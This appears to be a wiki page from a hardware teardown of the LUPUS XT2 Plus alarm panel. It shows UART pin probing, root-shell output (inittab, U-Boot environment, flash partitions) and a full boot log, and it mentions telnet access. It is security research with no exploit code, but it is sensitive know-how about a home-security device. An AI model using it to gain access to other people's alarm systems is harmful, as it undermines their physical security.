&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Remote Control&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Remtoe Control V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Door Contact&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Door Contact V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Faraday_GM812225TF-Qc_Soc.png|230px|right|thumb|Faraday GM812225TF-Qc Soc: Investigated PIN reference]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The main processor, referred to as MCU here, is a Faraday &amp;quot;GM812225TF-Qc&amp;quot; Soc and has a Thin Quad Flat Package (TQFP) with 176 leads on the side. Although this chip has a lead density of 22 leads/cm, it is still possible to hook up to them. This could also be used to intercept other information streams in and out of the MCU. Even if this in itself should not have a security risk in the actual use of the device! The MCU was only examined for the availability of an active UART.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus provides one designated UART connector to communicate with the MCU. This is the white 3-Pin connector at the bottom left of the from view of the PCB. This connector is labeled with &amp;quot;UART5&amp;quot;. After a short check with a multimeter the middle PIN could be identified as GND. Both other PINs are under 3.3V voltage. Using trial-and-error and a UART-to-TLL adapter, the lower PIN on the photo was identified as TX. However, the upper PIN was not identified as RX. To make sure that no further circuits between the intended UART connector and the MCU can interfere with the communication or mistakes were made by me during the cabling, the data sheet of the MCU was consulted and the available PINs for a possible UART were searched for. the MCU has 3 UARTs. UART0_SIN (87), UART0_SOUT (88), UART1_SIN (82), UART1_SOUT (83) and UART2_SOUT (84). These corresponding PINs in brackets were checked to determine which UART was connected to connector UART5 of the PCB. The results show that this is the UART2 of the MCU, which does NOT provide a matching UART2_SIN PIN and therefore only allows output for debugging. Thanks telnet this is also not needed for this model and firmware version! The other physical UARTs are active, but the application could not be determined without further investigations. Where the dmesg indicates 5 serial I/O ports. Whereby, in more detail, &amp;quot;ttyS2::sysinit:/etc/init.d/rc.sysinit&amp;quot; is used for &amp;quot;Climax NET6 usage&amp;quot;. The developers have taken care of an effective protection against manipulation by choosing a physical UART without RX PIN, which is done by few manufacturers.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Serial interfaces&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# dmesg | grep serial&lt;br /&gt;
&amp;lt;6&amp;gt;Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS0 at I/O 0xf9830000 (irq = 9) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS1 at I/O 0xf9840000 (irq = 10) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS2 at I/O 0xf9850000 (irq = 20) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS3 at I/O 0xf9880000 (irq = 21) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS4 at I/O 0xf9890000 (irq = 22) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;usbcore: registered new interface driver usbserial&lt;br /&gt;
&amp;lt;6&amp;gt;usbserial: USB Serial Driver core&lt;br /&gt;
&amp;lt;6&amp;gt;pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /etc/inittab&lt;br /&gt;
# system initialisation&lt;br /&gt;
#::sysinit:/bin/mount -n -o remount,rw /&lt;br /&gt;
#ttyS0::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
ttyS2::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#::sysinit:/etc/init.d/test.sh&lt;br /&gt;
&lt;br /&gt;
# run gettys on the serial ports&lt;br /&gt;
#null::respawn:/sbin/getty -L ttySA0 9600 vt100&lt;br /&gt;
#Line below is used with devfs&lt;br /&gt;
#::respawn:/sbin/getty -L tts/0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty ttyS0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty -L ttyS1 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty -L ttyS2 38400 vt100&lt;br /&gt;
#::respawn:/bin/sh &amp;lt; /dev/ttyS0 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS0&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
::respawn:/bin/sh &amp;lt; /dev/ttyS2 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS2&lt;br /&gt;
#::respawn:/bin/sh&lt;br /&gt;
# stuff to do before rebooting&lt;br /&gt;
::ctrlaltdel:/etc/init.d/reboot&lt;br /&gt;
::shutdown:/bin/umount -a -r&lt;br /&gt;
::shutdown:/sbin/swapoff -a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Since there are no available pins on the MC which accept input via UART, the use of U-Boot can be confirmed by the boot log, but there has no possibility to access it via UART be found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: U-Boot default environment&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/cmdline&lt;br /&gt;
mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# fw_printenv&lt;br /&gt;
Warning: Bad CRC, using default environment&lt;br /&gt;
bootargs=&lt;br /&gt;
bootcmd=sf probe 0:0;sf read 0x4000000 0xd6100 0x800000;go 0x4000000&lt;br /&gt;
bootdelay=1&lt;br /&gt;
baudrate=115200&lt;br /&gt;
ethaddr=00:42:70:00:30:22&lt;br /&gt;
ipaddr=10.0.1.52&lt;br /&gt;
serverip=10.0.1.51&lt;br /&gt;
gatewayip=10.0.1.51&lt;br /&gt;
netmask=255.0.0.0&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot;&lt;br /&gt;
mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot;&lt;br /&gt;
mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot;&lt;br /&gt;
mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot;&lt;br /&gt;
mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot;&lt;br /&gt;
mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
MP SPI-NOR Bootstrap v0.2&lt;br /&gt;
Boot image offset: 0x6000. Booting Image .....&lt;br /&gt;
&lt;br /&gt;
Will set the following freq...&lt;br /&gt;
PLL1: 400 MHz, PLL2: 270 MHz, CPU freq: 270 MHz, AHB freq: 135 MHz, DDR freq: 400 MHz&lt;br /&gt;
go...&lt;br /&gt;
&lt;br /&gt;
*********************************************&lt;br /&gt;
Please input Space to run Linux&lt;br /&gt;
Please input ESC to run UBOOT&lt;br /&gt;
Please input . to run burn-in&lt;br /&gt;
Otherwise, system will run Linux after 0 sec&lt;br /&gt;
*********************************************&lt;br /&gt;
Load image from SPI-NOR offset 0xe0000 to sdram 0x2800000&lt;br /&gt;
Jump 0x2800000&lt;br /&gt;
Uncompressing Linux.............................................................................................................................................................................................................. done, booting the kernel.&lt;br /&gt;
Linux version 2.6.28 (engin@engin-desktop) (gcc version 4.4.0 (Faraday C/C++ Compiler Release 20100325) ) #2442 PREEMPT Tue Feb 13 15:30:10 CST 2018&lt;br /&gt;
CPU: FA626TE [66056261] revision 1 (ARMv5TE), cr=0000797f&lt;br /&gt;
CPU: VIPT aliasing data cache, VIPT aliasing instruction cache&lt;br /&gt;
Machine: Faraday GM8126&lt;br /&gt;
Warning: bad configuration page, trying to continue&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
console [uart0] enabled&lt;br /&gt;
fotg210 fotg210: init fotg210 fail, -16&lt;br /&gt;
starting pid 169, tty &#039;/dev/ttyS2&#039;: &#039;/etc/init.d/rc.sysinit&#039;&lt;br /&gt;
Mounting root fs rw ...&lt;br /&gt;
Mounting other filesystems ...&lt;br /&gt;
Setting hostname ...&lt;br /&gt;
Mounting user&#039;s MTD partion&lt;br /&gt;
Has JFFS2 on mtdblock1&lt;br /&gt;
GM devmem set&lt;br /&gt;
Setup networking&lt;br /&gt;
Setup PWM driver&lt;br /&gt;
Setup ADC driver&lt;br /&gt;
Setup SAR module&lt;br /&gt;
Setup RTC driver&lt;br /&gt;
Setup WDT driver&lt;br /&gt;
Setup climax driver&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[INFO][MISC]Initialized log&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ACTN]Initialized&lt;br /&gt;
[INFO][DEV ]Panel RF device ID:&#039;RF:0585a7f0&#039;&lt;br /&gt;
[INFO][DEV ]36 template(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_resp: 26 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_latch: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_panic: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_fire: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_medical: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_emergency: 9 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_mode: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_set_unset: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_whole_area: 7 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_always_on: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_switch: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_macro: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_siren_vol: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_bxsr_param: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_binding: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]15 device(s) loaded&lt;br /&gt;
[INFO][DEV ]0 learn rule(s) loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s schedule loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s UPIC name loaded&lt;br /&gt;
[INFO][DEV ]8 group(s) loaded&lt;br /&gt;
[ERR!][MISC]open sig file fail: &#039;config/history.json&#039;&lt;br /&gt;
[ERR!][DEV ]Fail open for reading&lt;br /&gt;
[INFO][DEV ]0 week schd loaded&lt;br /&gt;
[INFO][MISC]5 note(s) loaded&lt;br /&gt;
[INFO][MISC]5 consumer(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[INFO][MISC]889 string(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: I2C TX data 0x0 timeout!&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[WARN][MISC]I2C write fail&lt;br /&gt;
i2c-adapter i2c-0: I2C RX timeout!&lt;br /&gt;
[WARN][MISC]I2C read fail&lt;br /&gt;
[INFO][MISC]I2C CFG=0&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][WEB ]web session initialized&lt;br /&gt;
[INFO][WEB ]50 token loaded&lt;br /&gt;
[INFO][WEB ]Initialized&lt;br /&gt;
[INFO][XCMD]Initialized&lt;br /&gt;
[INFO][SCMD]Initialized&lt;br /&gt;
[NOTE][WEB ]Mongoose 3.1 on port 80,443s&lt;br /&gt;
[INFO][NET ]Initialized SSL&lt;br /&gt;
[INFO][WORK]Initialized&lt;br /&gt;
[INFO][BEEP]Initialized&lt;br /&gt;
[INFO][LED ]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ZB  ]Initialized&lt;br /&gt;
[INFO][ZBS ]Initialized&lt;br /&gt;
[INFO][GSM ]Initialized&lt;br /&gt;
[INFO][VFA ]Module not exist&lt;br /&gt;
[INFO][ZBS ]auto scan /dev/ttyS0 success&lt;br /&gt;
[INFO][WORK]setup eth0...&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoHello&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoJoinDisable&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoCheckVersion&#039;&lt;br /&gt;
[INFO][VFA ]Initialized&lt;br /&gt;
[INFO][RF  ]Initialized&lt;br /&gt;
[INFO][RFEX]no rf ext&lt;br /&gt;
[INFO][RFEX]Initialized&lt;br /&gt;
[INFO][ZWAV]Initialized&lt;br /&gt;
[INFO][DNS ]Initialized&lt;br /&gt;
[INFO][UPNP]Initialized&lt;br /&gt;
[INFO][FIND]Initialized&lt;br /&gt;
[INFO][FRTZ]Initialized&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/fritzbox.json.md5sum&#039;&lt;br /&gt;
[ERR!][FRTZ]Fail open for reading&lt;br /&gt;
[INFO][RPT ]report setting loaded&lt;br /&gt;
[INFO][RPT ]Initialized&lt;br /&gt;
[INFO][ALRM]5 user(s) loaded&lt;br /&gt;
[INFO][ALRM]2 area(s) loaded&lt;br /&gt;
[INFO][ALRM]0 rule(s) loaded&lt;br /&gt;
[INFO][ALRM]HA prop=0&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/ha_profile.json.md5sum&#039;&lt;br /&gt;
[ERR!][ALRM]Fail open for reading&lt;br /&gt;
[INFO][ALRM]0 media(s) loaded&lt;br /&gt;
[INFO][ALRM]151 history(s) loaded&lt;br /&gt;
[INFO][DNS ]Apply config changed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
[INFO][ALRM]1000 report(s) loaded&lt;br /&gt;
[DBG ][ALRM]USBHUB=0&lt;br /&gt;
[DBG ][ALRM]HMGW=0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetJamRSSI&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetSeedRF&#039;&lt;br /&gt;
[INFO][ALRM]Initialized&lt;br /&gt;
[DBG ][ZBS ]ZDO_ACTIVE_EP_RSP: 0,0,0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoBeepBX&#039;&lt;br /&gt;
[NOTE][ALRM]Alarm ready&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SYSSTART&#039;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoDebugCommand&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:0:5&lt;br /&gt;
[DBG ][ALRM]classify: seq=1, attr=0, act=OnCablePlugEth,&amp;quot;0&amp;quot;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]pan=b87d, ch=15&lt;br /&gt;
[DBG ][ZBS ]n=0&lt;br /&gt;
[INFO][FRTZ]Apply config changed&lt;br /&gt;
Sending discover...&lt;br /&gt;
[INFO][RPT ]Apply config changed&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMEE=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG=0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMER=2,0,0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CIND=1,1,1,1,1,1,1,1,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: battchg,5&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: signal,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: service,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: sounder,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: message,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: call,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: roam,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: smsfull,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: rssi,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SIND=&amp;quot;nitz&amp;quot;,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SIND: nitz,1,&amp;quot;&amp;quot;,+00&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCKS: 0,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCFG=&amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCFG: &amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[INFO][WORK]restart DHCP&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]try old RF/51&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[INFO][RF  ]type:42&lt;br /&gt;
[INFO][RF  ]module:41&lt;br /&gt;
[INFO][RF  ]rf type:30&lt;br /&gt;
[INFO][RF  ]rf freq:7&lt;br /&gt;
[INFO][RF  ]ver:HPGW-L2-XA35A len:13&lt;br /&gt;
[INFO][ALRM]OnVersion: &#039;RF&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramAssociation&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramConfig&#039;&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][NET ]network select error (Resource temporarily unavailable)&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CGSN&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;356449063567159&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
Sending discover...&lt;br /&gt;
Sending discover...&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup wifi...&lt;br /&gt;
[DBG ][ALRM]classify: seq=47, attr=0, act=OnConnectWLAN,&amp;quot;0&amp;quot;,&amp;quot;init&amp;quot;&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
ifconfig: ioctl 0x8913 failed: No such device&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:1:0&lt;br /&gt;
[DBG ][GSPK][R] &#039;test&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;test&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
